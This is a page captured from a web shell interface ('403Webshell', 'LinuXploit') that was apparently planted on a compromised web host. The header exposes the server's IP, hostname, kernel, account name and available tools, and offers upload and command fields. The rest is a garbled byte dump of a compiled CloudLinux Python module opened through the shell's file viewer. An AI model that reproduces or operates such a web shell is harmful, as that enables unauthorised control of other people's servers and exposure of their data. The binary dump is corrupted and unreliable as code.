403Webshell
Server IP : 192.158.238.246  /  Your IP : 3.144.84.11
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python37/lib/python3.7/site-packages/clselect/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python37/lib/python3.7/site-packages/clselect/__pycache__/clpassenger.cpython-37.pyc
B

��d�h�@s�ddlmZddlmZddlmZddlZddlZddlZddlmZddlm	Z	ddl
mZddl
Z
ddlZddlZddlZddlZddlmZmZdd	lmZdd
lmZddlmZmZddlmZdd
lmZmZmZm Z m!Z!m"Z"m#Z#ddl$m%Z%m&Z&ddl'm(Z(m)Z)ddl*m+Z+m,Z,ddl-m.Z.ddlm/Z/m0Z0m1Z1ddlm2Z2m3Z3m4Z4m5Z5ddlm6Z6m7Z7e�8e9�Z:e:�;ej<�e�=e>dd��Z?e:�@e?�dZAdZBdZCdZDdZEdZFdZGdZHd ZId!d"�ZJd#d$�ZKd%d&�ZLd'd(�ZMd)d*�ZNd+d,�ZOd-d.�ZPd/d0�ZQd1d2�ZRd3d4�ZSd5d6�ZTd7d8�ZUd9d:�ZVd;d<�ZWd=d>�ZXd?ddeHdfd@dA�ZYdBdC�ZZd^dDdE�Z[dFdG�Z\eHfdHdI�Z]dJdK�Z^d_dLdM�Z_dNdO�Z`dPdQ�Zad`dRdS�ZbdTdU�ZcdVdW�ZddXdY�ZedZd[�Zfd\d]�ZgdS)a�)�absolute_import)�print_function)�divisionN)�datetime)�	iteritems)�configparser)�	clcaptain�utils)�userdomains)�*get_file_system_in_which_file_is_stored_on)�get_file_lines�write_file_lines)�mod_makedirs)�QuotaWrapper�NoSuchUserException�InsufficientPrivilegesException�IncorrectLimitFormatException�GeneralException�NoSuchPackageException�QuotaDisabledException)�PyLve�
PyLveError)�
set_user_perm�
set_root_perm)�Dict�Union�)�ClSelectExcept)�file_readlines�
file_write�s_partition)�get_abs_rel�mkdir_p�	file_read�file_writelines)�get_using_realpath_keys�realpaths_are_equalz	/dev/null�wz9# DO NOT REMOVE. CLOUDLINUX PASSENGER CONFIGURATION BEGINz7# DO NOT REMOVE. CLOUDLINUX PASSENGER CONFIGURATION ENDz	config.ruz�app = proc do |env|
    message = "It works!\n"
    version = "Ruby %s\n" % RUBY_VERSION
    response = [message, version].join("\n")
    [200, {"Content-Type" => "text/plain"}, [response]]
end


run app
ztmp/restart.txtzpassenger_wsgi.pyaMimport os
import sys


sys.path.insert(0, os.path.dirname(__file__))


def application(environ, start_response):
    start_response('200 OK', [('Content-Type', 'text/plain')])
    message = 'It works!\n'
    version = 'Python %s\n' % sys.version.split()[0]
    response = '\n'.join([message, version])
    return [response.encode()]
zapp.jsaCvar http = require('http');
var server = http.createServer(function(req, res) {
    res.writeHead(200, {'Content-Type': 'text/plain'});
    var message = 'It works!\n',
        version = 'NodeJS ' + process.versions.node + '\n',
        response = [message, version].join('\n');
    res.end(response);
});
server.listen();
cCs t�|�}t|j|jdd�dS)NF)�exit)�pwd�getpwnamr�pw_uid�pw_gid)�user�userpwd�r/�E/opt/alt/python37/lib/python3.7/site-packages/clselect/clpassenger.py�drop_root_perm^s
r1cCs>y$t||dd�}t�|��tj�|Stk
r8dSXdS)N�surrogateescape)�errors)�open�fcntl�flock�fileno�LOCK_EX�IOError)�config_path�mode�	conf_filer/r/r0�get_config_lockcsr=cCsy|��WnYnXdS)N)�close)Z	lock_filer/r/r0�release_locklsr?cCs�d}t��dkst��dkr(t|�d}d}z�y8t|�t|d�}t��}|�|�t	�||�
��WnDttt
jtjfk
r�}zt�tjd�||��Wdd}~XYnXWdt|�|r�tdd�XdS)zS
    Write config with locking.
    Drop permissions if method called as root.
    FrTN�rzCan't write {}: {})r()�os�getegid�geteuidr1�check_and_createdirr=�io�StringIO�writer�getvaluer9�OSErrorr�UnableToSaveDatar	�ExternalProgramFailed�syslog�LOG_WARNING�formatr?r)r-r:�configZpermissions_dropped�config_fileZfile_content�er/r/r0�write_configss"

$rRc
Csdtj�|�}tj�|�s`yt�|�Wn8ttjt	jfk
r^}zt�
||��Wdd}~XYnXdS)N)rA�path�dirname�isdirr�mkdirrIrrKr	rJ)rS�user_backup_pathrQr/r/r0rD�srDcCst�|�}tj�|jdd�S)Nz.cl.selector�htaccess_cache)r)r*rArS�join�pw_dir)r-r.r/r/r0�get_htaccess_cache_path�s
r[c
Cs`d}d}i}tj�|��r\�yt�|�}|j|d<|j|d<|j|d<t|j�|d<t	�
|j��|�|d<t	�
|j
��|�|d<|dd	kr�|SyDt|d
��0}|�|�|d<|�|d�|�|�|d
<WdQRXWn:ttfk
�r}zd|||f|d<Wdd}~XYnXt|�d|d<Wn8ttfk
�rZ}zd||f|d<Wdd}~XYnX|S)zp
    Get info (stat, first n symbols and file system in which file is stored)
    about htaccess_cache file
    z%Y-%m-%d %H:%M:%S�d�	file_size�gid�uidZpermissionsZlast_accessZlast_modificationrr@Z
first_symbols�Zlast_symbolsNzEWe cannot get first and last %s symbols from "%s" file. Exception: %s�error�detailsZfile_systemz1We cannot get info about "%s" file. Exception: %s)rArS�exists�stat�st_size�st_gid�st_uid�oct�st_moder�
fromtimestamp�st_atime�strftime�st_mtimer4�read�seekrIr9r)�path_to_file�time_formatZnumber_of_symbols�	file_infoZ	file_stat�f�errr/r/r0�#_get_info_about_htaccess_cache_file�s<



ruc
Cs�t�}yht�}|��|�|�}|j|j|d<|j|d<|j|d<|j|d<|j	|d<|j
|d<|j|d<Wn2tk
r�}zd||f|d	<Wd
d
}~XYnX|S)zB
    Getting user lve limits for logging those for next debug
    �cpu�pmemZvmemrEZiops�epZnprocz>We cannot get lve limits for user with uid "%s". Exception: %sraN)
�dictrZ
initializeZlve_infoZls_cpuZ
ls_cpu_weightZ
ls_memory_phyZ	ls_memoryZls_ioZls_iopsZ	ls_entersZls_nprocr)�user_uid�resultZpy_lveZuser_limitsrtr/r/r0�_get_user_lve_limits�s"





r|cCsrt�}t|�}yt�}|�|�|}|}WnBtttttt	t
tfk
rl}zd||f|d<Wdd}~XYnX|S)zD
    Getting user quota limits for logging those for next debug
    z@We cannot get quota limits for user with uid "%s". Exception: %sraN)ry�strrZget_user_limitsrrrrrrr9rI)rzr{Z
quota_wrapperZuser_quotasrtr/r/r0�_get_user_quota_limits�s&r~c
Cs�t|�}t�}||d<t�|d<yt�|�j}Wn:tk
rj}zd||f|dd<d}Wdd}~XYnX|dk	r�t�|dd<|dd�t|��t�|dd<|dd�t|��t	j
|d|d	�dS)
zy
    Logging info (lve & quota limits) about user and
    info (stat info, first & last n symbols) about config file
    Zconfig_file_infoZ	user_infoz(User "%s" does not exists. Exception: %sraNZ
lve_limitsZquota_limitsT)�exc_info�extra)ruryr)r*r+�KeyError�updater|r~�logger�	exception)r-r:rarrZ
debug_inforzrtr/r/r0�*_log_debug_info_about_user_and_config_files"
r�c
Cs�tjdd�}t|�}t|d�}|dk	r�z�y|�|�Wntttfk
rh}zt|||�Wdd}~XYnDtjtj	fk
r�t
|�t�tjd�
|��tjdd�}YnXWdt|�X||fS)NF)�strictr@zConfig {} is broken.)�ConfigParser�RawConfigParserr[r=�readfpr9rIr��ParsingError�MissingSectionHeaderError�_unlinkrLrMrNr?)r-rOr:rPrtr/r/r0�read_config"s

r�cCsHt|�\}}|�|�rDy|�|d��d�}|Stjk
rBdSXdS)N�
htaccess_list�,)r��has_section�get�splitr��
NoOptionError)r-�doc_rootrO�_r�r/r/r0�get_htaccess_cache9s
r�cCs\|�d�}ttt|��}t|�\}}|�|�s8|�|�|�|dd�|��t	|||�dS)N�
r�r�)
r��list�filter�boolr�r��add_section�setrYrR)r-r��datarOr:r/r/r0�write_htaccess_cacheDs


r�cCs�t|�\}}|�|�r*|�|d��d�}n|�|�|�|dd�g}||kr�|�|�ttt	|��}|�|dd�
|��t|||�dS)Nr�r��)r�r�r�r�r�r��appendr�r�r�rYrR)r-rpr�rOr:r�r/r/r0�update_htaccess_cachePs


r�cCsjt|dd�}g}d}x8|D]0}|�t�r,d}|�t�r<d}q|s|�|�qWt|�}t||ddd�dS)z�
    Removes clpassenger lines from .htaccess to stop application
    :param htaccess_filename: Application .htaccess path
    :return: None
    r2)r3FTr'N)r�
startswith�HTACCESS_BEGIN�HTACCESS_ENDr��rm_double_empty_linesr$)�htaccess_filename�lines�	new_lines�	in_config�liner/r/r0�$remove_passenger_lines_from_htaccess_s


r�Tc
Cs|t||�\}
}tj�|
�r0tj�|
�s0t�d��|dkrFt�d|��t|�}yt	|||�}
Wn*t
k
r�|dkr�t�d|��Yn,X|dkr�|
d}t�d|��|s�|
d	}|d
kr�tj�|�}t|tj�
||��\}}tj�
|d�}d}tj�|��r�t|d
d�}t|k�r�xr|��D]f}tj�|d�tj}tj�tj�||tjg��d
k�r |d}||
k�r�t�d|��nd}�q W|��}ng}|�rb|�d
�|�t�|�d|
�|�d|�|�d|��|f�|dk�r|�d�|�d|�|	�r$|dk�r$|�d|	�|�t�t|�}t|�t|dd�|D�d
d�t|||�|�rxt||||d�dS)aX
    Configure passenger application
    :param user: name of unix user
    :param directory: name of dir in user home
    :param alias: alias of application
    :param interpreter: interpreter which execute application
    :param binary: binary of interpreter that execute application
    :param populate: True if application have to be be populated
    :param action: action with apllication. can be transit or None
    :param doc_root: doc_root
    :param startup_file: start application file
    :param passenger_log_file: Passenger log filename to write to app's .htaccess
    :return: None
    z,Destination exists and it is not a directory)�python�ruby�nodejszUnsupported interpreter ('%s')Nz8No such application (or application not configured) "%s"Ztransit�	directoryz(Specified directory already used by '%s'�docrootr�z	.htaccessTr2)r3�aliaszhSpecified alias is already used by the other application: '%s'. Please, specify another application url.FzPassengerAppRoot "%s"zPassengerBaseURI "/%s"zPassenger%s "%s"r�zPassengerAppType nodezPassengerStartupFile %s)r�r�zPassengerAppLogFile "%s"css|]}d|VqdS)z%s
Nr/)�.0r�r/r/r0�	<genexpr>�szconfigure.<locals>.<genexpr>)�startup_file)r!rArSrcrUr�WebAppError�InterpreterError�summaryr%r��NoSuchApplication�normpathrYr#r��values�seprT�commonprefix�
splitlinesr��titler�r�r"r$r��populate_app)r-r�r��interpreter�binaryZpopulate�actionr�r��passenger_log_file�abs_dirr��user_summary�app_summaryZ
exists_dirZ	abs_alias�htaccessZhtaccess_needs_update�htaccess_raw�itemZ
item_aliasr�r/r/r0�	configurevsp

$








r�c	Cs�x�tt|��D]�\}}|\}}tj�|d|df�}t|d|�\}}}tj�|d�}tj�|d�}t||�\}}}	tj�t	||	�d|�}
|d}t
|�t||||d|
|dd�qWdS)Nr�r�rr�r�r�)r�)r�_summaryrArSr�r rT�basenamerYr!�_unconfigurer�)r-�domain_aliasr�r�r�Zold_homer�Z
binary_dirZbinary_nameZ_binaryr�Z
htaccess_pathr/r/r0�fix_homedir�sr�cCs�t||t|��}|p|d}|p"|}tj�||�}tj�|d�}tj�||�}	tj�|	d�}
t|||
�s�t|�t|dd�}t|d��	�t
|
|ddd�t||
|�dS)Nr�z	.htaccessr2)r3r'�a)r%r�rArSrYr&r�rr4r>r$r�)r-r�Z	old_aliasZ	new_aliasZold_doc_rootZnew_doc_root�app_dataZ
old_abs_aliasZold_htaccessZ
new_abs_aliasZnew_htaccessr�r/r/r0�move�sr�cCs xt|�D]}t||�q
WdS)N)r��unconfigure)r-r�r/r/r0�purge�sr�cCs�t||�\}}tj�|d�}tj�|d�}t|�t|�tj�|t�}tj�|t�}	tj�||�}
tj�|�}tj�|	�}tj�|
�}
|r�t|�t	k}|r�t|	�t
k}|
r�t|
�tk}|dkr�|s�t|	t
�|r�|r�t
|�t
|
�n�|dk�r"|�st|t	d�|�r||�r|t
|	�t
|
�nZ|dk�r||
�s`tj�|
�}tj�|��sVt|d�t|
t�|
�r||�r|t
|�t
|	�t||�dS)	z�
    Populate application
    :param user: name of unix user
    :param directory: application path in user's home
    :param interpreter: interpreter which run application
    :param startup_file: main application file
    :return: None
    �public�tmpr�r�r'r�i�N)r!rArSrYr"�	RACK_PATH�	WSGI_PATH�isfiler#�
RACK_TEMPLATE�
WSGI_TEMPLATE�APPJS_TEMPLATErr�rTrUr�restart)r-r�r�r�r��rel_dirZ
app_publicZapp_tmpZapp_configruZapp_wsgiZapp_jsZconfigru_installedZwsgi_installedZappjs_installedZconfigru_unchangedZwsgi_unchangedZappjs_unchangedZdir_pathr/r/r0r��sN	






r�cCs(yt�|�Wntk
r"YnXdS)N)rA�unlinkrI)rSr/r/r0r�1sr�cCs�|dkrt|�n|}g}x�|D]�\}}|dkr0qt||�}|s~tjd|ddgtjtjdd�}|��\}}	t|||�t||�}|dkr�qx,|D]$}
|
r�tj�	|
�}|�
|||f�q�WqWt||�S)Nz	/bin/findz-namez	.htaccessT)�stdout�stderr�text)r
r��
subprocess�Popen�PIPE�communicater�rArSrTr��_htaccess_summary)r-�userdomains_dataZdomain_docroot_pairs�domain_alias_docroot�domainr�rX�pZ
stdoutdatar�Zht_pathr�r/r/r0r�8s*


r�c
Cs i}�x|D�]
\}}}tj�|d�}yt|dd�}Wnttfk
rPwYnXt�d|tj�}|shqt�d|tj�}	|	s~qt	||�\}
}t	||�\}}t
|
|�\}}}|�tj�}||f}
t�d|tj�}|r�t
|��d|�s�q||||��d|	��d	��|	��d
d�||
<qW|S)Nz	.htaccessr2)r3z+^PassengerAppRoot\s+"?(?P<directory>.+?)"?$zD^Passenger(?P<interpreter>Python|Ruby|Nodejs)\s+"?(?P<binary>.+?)"?$z(^PassengerBaseURI\s+"?(?P<appuri>.+?)"?$�appurir�r�r�)r�r�r�r�r�r�)rArSrYr#r9rI�re�search�	MULTILINEr!r �lstripr��compare_aliases�	groupdict�lower)r-r��summr�r�r�r�r��approotr�Z	alias_absr�Zdoc_root_absr�r�r/r/r0r�XsB



r�cCs$tj�|�d��tj�|�d��kS)N�/)rArSr��strip)Zalias1Zalias2r/r/r0r��sr�c
Cs�i}x�tt||d��D]�\}}|\}}|d}yt||�\}}	Wn8tjk
rxt�tjd�tj	�
|d�|��wYnX||d<yt||	|�}
Wn&tk
r�|g|d<|||	<YqXd|
kr�g|
d<q|
d�
|�qW|S)N)r�r�z1{} is broken, directory {} is not in user's home.z	.htaccessr��domains)rr�r!r�	WrongDatarLrMrNrArSrYr%r�r�)r-r�Zsumm_resultr��valuer�r��app_rootr�r�r�r/r/r0r��s.

r�cCs$t||t|��}|d}t|�dS)Nr�)r%r�r�)r-r�r�r�r/r/r0r��sr�cCs|t|dd�}|��}g}d}x8|D]0}|tkr4d}q"|tkrBd}q"|rHq"|�|�q"Wt|�}t|dd�|D�ddd�dS)Nr2)r3FTcss|]}d|VqdS)z%s
Nr/)r�r�r/r/r0r��sz_unconfigure.<locals>.<genexpr>r')r#r�r�r�r�r�r$)r�r�r�r�r�r�r/r/r0r��s 
r�ccs.x(|�tj�D]}tj�||�}|VqWdS)N)r�rAr�rSrY)�root�subr�r/r/r0�	iter_path�sr�cCs�t||�\}}tj�|�s,t�dd|i��tj�|d�}tj�|�sPt�|�tj�|t�}tj�|�rxt�	|d�nt
|d���dS)NzMissing directory %(abs_dir)sr�r�r�)r!rArSrcr�MissingApprootDirectoryrYrV�RESTART_PATH�utimer4r>)r-r�r�r�Ztmp_dirZapp_restartr/r/r0r��s
r�cCsNg}d}x0|D](}|��r d}n|r(qnd}|�|�qW|rJ|dd�S|S)NTF���)r�r�)r��_linesZ
empty_liner�r/r/r0r��s
r�)NN)N)N)h�
__future__rrrr5r)rLr�future.utilsr�future.movesrr�rE�loggingrAr�r�Zclcommonrr	�clcommon.cpapir
�clcommon.utilsrrr
rZclquotarrrrrrrZlveapirr�secureiorr�typingrr�clselectexceptrrrr r!r"r#r$r%r&�	getLogger�__name__r��setLevel�ERROR�
StreamHandlerr4Znull_handler�
addHandlerr�r�r�r�rr�r�Z
APPJS_PATHr�r1r=r?rRrDr[rur|r~r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r/r/r/r0�<module>s�$



	-Y
7
 -
!

Youez - 2016 - github.com/yon3zu
LinuXploit